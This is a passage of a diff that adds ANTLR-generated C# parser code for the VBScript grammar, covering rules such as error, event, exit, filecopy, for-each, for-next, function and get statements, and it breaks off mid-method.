Match(WS); + State = 1149; + valueStmt(0); + State = 1160; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,138,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1151; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1150; + Match(WS); + } + } + + State = 1153; + Match(COMMA); + State = 1155; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,137,Context) ) { + case 1: + { + State = 1154; + Match(WS); + } + break; + } + State = 1157; + valueStmt(0); + } + } + } + State = 1162; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,138,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ErrorStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERROR() { return GetToken(VBScriptParser.ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public ErrorStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_errorStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterErrorStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitErrorStmt(this); + } + } + + [RuleVersion(0)] + public ErrorStmtContext errorStmt() { + ErrorStmtContext _localctx = new ErrorStmtContext(Context, State); + EnterRule(_localctx, 92, RULE_errorStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1163; + Match(ERROR); + State = 1164; + Match(WS); + State = 1165; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EventStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EVENT() { return GetToken(VBScriptParser.EVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + public EventStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eventStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEventStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEventStmt(this); + } + } + + [RuleVersion(0)] + public EventStmtContext eventStmt() { + EventStmtContext _localctx = new EventStmtContext(Context, State); + EnterRule(_localctx, 94, RULE_eventStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1170; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1167; + visibility(); + State = 1168; + Match(WS); + } + } + + State = 1172; + Match(EVENT); + State = 1173; + Match(WS); + State = 1174; + ambiguousIdentifier(); + State = 1176; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1175; + Match(WS); + } + } + + State = 1178; + argList(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ExitStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_DO() { return GetToken(VBScriptParser.EXIT_DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_FOR() { return GetToken(VBScriptParser.EXIT_FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_FUNCTION() { return GetToken(VBScriptParser.EXIT_FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_PROPERTY() { return GetToken(VBScriptParser.EXIT_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_SUB() { return GetToken(VBScriptParser.EXIT_SUB, 0); } + public ExitStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_exitStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterExitStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitExitStmt(this); + } + } + + [RuleVersion(0)] + public ExitStmtContext exitStmt() { + ExitStmtContext _localctx = new ExitStmtContext(Context, State); + EnterRule(_localctx, 96, RULE_exitStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1180; + _la = TokenStream.LA(1); + if ( !(((((_la - 63)) & ~0x3f) == 0 && ((1L << (_la - 63)) & 31L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class FilecopyStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FILECOPY() { return GetToken(VBScriptParser.FILECOPY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public FilecopyStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_filecopyStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterFilecopyStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitFilecopyStmt(this); + } + } + + [RuleVersion(0)] + public FilecopyStmtContext filecopyStmt() { + FilecopyStmtContext _localctx = new FilecopyStmtContext(Context, State); + EnterRule(_localctx, 98, RULE_filecopyStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1182; + Match(FILECOPY); + State = 1183; + Match(WS); + State = 1184; + valueStmt(0); + State = 1186; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1185; + Match(WS); + } + } + + State = 1188; + Match(COMMA); + State = 1190; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,142,Context) ) { + case 1: + { + State = 1189; + Match(WS); + } + break; + } + State = 1192; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ForEachStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EACH() { return GetToken(VBScriptParser.EACH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IN() { return GetToken(VBScriptParser.IN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ForEachStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_forEachStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterForEachStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitForEachStmt(this); + } + } + + [RuleVersion(0)] + public ForEachStmtContext forEachStmt() { + ForEachStmtContext _localctx = new ForEachStmtContext(Context, State); + EnterRule(_localctx, 100, RULE_forEachStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1194; + Match(FOR); + State = 1195; + Match(WS); + State = 1196; + Match(EACH); + State = 1198; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1197; + Match(WS); + } + } + + State = 1200; + ambiguousIdentifier(); + State = 1202; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 1201; + typeHint(); + } + } + + State = 1205; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1204; + Match(WS); + } + } + + State = 1207; + Match(IN); + State = 1209; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,146,Context) ) { + case 1: + { + State = 1208; + Match(WS); + } + break; + } + State = 1211; + valueStmt(0); + State = 1213; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1212; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1215; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,147,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1223; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,149,Context) ) { + case 1: + { + State = 1217; + block(); + State = 1219; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1218; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1221; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1225; + Match(NEXT); + State = 1230; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,151,Context) ) { + case 1: + { + State = 1227; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1226; + Match(WS); + } + } + + State = 1229; + ambiguousIdentifier(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ForNextStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext[] typeHint() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STEP() { return GetToken(VBScriptParser.STEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ForNextStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_forNextStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterForNextStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitForNextStmt(this); + } + } + + [RuleVersion(0)] + public ForNextStmtContext forNextStmt() { + ForNextStmtContext _localctx = new ForNextStmtContext(Context, State); + EnterRule(_localctx, 102, RULE_forNextStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1232; + Match(FOR); + State = 1233; + Match(WS); + State = 1234; + iCS_S_VariableOrProcedureCall(); + State = 1236; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 1235; + typeHint(); + } + } + + State = 1240; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,153,Context) ) { + case 1: + { + State = 1238; + Match(WS); + State = 1239; + asTypeClause(); + } + break; + } + State = 1243; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1242; + Match(WS); + } + } + + State = 1245; + Match(EQ); + State = 1247; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,155,Context) ) { + case 1: + { + State = 1246; + Match(WS); + } + break; + } + State = 1249; + valueStmt(0); + State = 1250; + Match(WS); + State = 1251; + Match(TO); + State = 1252; + Match(WS); + State = 1253; + valueStmt(0); + State = 1260; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STEP || _la==WS) { + { + State = 1255; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1254; + Match(WS); + } + } + + State = 1257; + Match(STEP); + State = 1258; + Match(WS); + State = 1259; + valueStmt(0); + } + } + + State = 1263; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1262; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1265; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,158,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1273; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,160,Context) ) { + case 1: + { + State = 1267; + block(); + State = 1269; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1268; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1271; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1275; + Match(NEXT); + State = 1281; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,162,Context) ) { + case 1: + { + State = 1276; + Match(WS); + State = 1277; + ambiguousIdentifier(); + State = 1279; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,161,Context) ) { + case 1: + { + State = 1278; + typeHint(); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class FunctionStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FUNCTION() { return GetToken(VBScriptParser.FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_FUNCTION() { return GetToken(VBScriptParser.END_FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFAULT() { return GetToken(VBScriptParser.DEFAULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public FunctionStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_functionStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterFunctionStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitFunctionStmt(this); + } + } + + [RuleVersion(0)] + public FunctionStmtContext functionStmt() { + FunctionStmtContext _localctx = new FunctionStmtContext(Context, State); + EnterRule(_localctx, 104, RULE_functionStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1286; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1283; + visibility(); + State = 1284; + Match(WS); + } + } + + State = 1290; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==DEFAULT) { + { + State = 1288; + Match(DEFAULT); + State = 1289; + Match(WS); + } + } + + State = 1294; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1292; + Match(STATIC); + State = 1293; + Match(WS); + } + } + + State = 1296; + Match(FUNCTION); + State = 1297; + Match(WS); + State = 1298; + ambiguousIdentifier(); + State = 1303; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,167,Context) ) { + case 1: + { + State = 1300; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1299; + Match(WS); + } + } + + State = 1302; + argList(); + } + break; + } + State = 1307; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,168,Context) ) { + case 1: + { + State = 1305; + Match(WS); + State = 1306; + asTypeClause(); + } + break; + } + State = 1310; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,169,Context) ) { + case 1: + { + State = 1309; + Match(WS); + } + break; + } + State = 1313; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1312; + _la = TokenStream.LA(1); + if ( !(((((_la - 219)) & ~0x3f) == 0 && ((1L << (_la - 219)) & 19L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1315; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,170,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1318; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,171,Context) ) { + case 1: + { + State = 1317; + Match(WS); + } + break; + } + State = 1332; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,174,Context) ) { + case 1: + { + State = 1320; + block(); + State = 1324; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==WS) { + { + { + State = 1321; + Match(WS); + } + } + State = 1326; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1328; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1327; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1330; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1337; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==WS) { + { + { + State = 1334; + Match(WS); + } + } + State = 1339; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1340; + Match(END_FUNCTION); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class GetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GET() { return GetToken(VBScriptParser.GET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public GetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_getStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterGetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitGetStmt(this); + } + } + + [RuleVersion(0)] + public GetStmtContext getStmt() { + GetStmtContext _localctx = new GetStmtContext(Context, State); + EnterRule(_localctx, 106, RULE_getStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1342; + Match(GET); + State = 1343; + Match(WS); + State = 1344; + valueStmt(0); + State = 1346; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1345; + Match(WS); + } + } + + State = 1348; + Match(COMMA); + State = 1350; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,177,Context) ) { + case 1: + { + State = 1349; + Match(WS); + } + break; + } + State = 1353; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,178,Context) ) { + case 1: + { + State = 1352; + valueStmt(0); + } + break; + } + State = 1356; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1355; + Match(WS); + } + } + + State = 1358; + Match(COMMA); + State = 1360; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,180,Context) ) { + case 1: + { + State = 1359; + Match(WS); + } + break; + } + State = 1362; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class GoSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOSUB() { return GetToken(VBScriptParser.GOSUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public GoSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_goSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterGoSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitGoSubStmt(this); + } + } + + [RuleVersion(0)] + public GoSubStmtContext goSubStmt() { + GoSubStmtContext _localctx = new GoSubStmtContext(Context, State); + 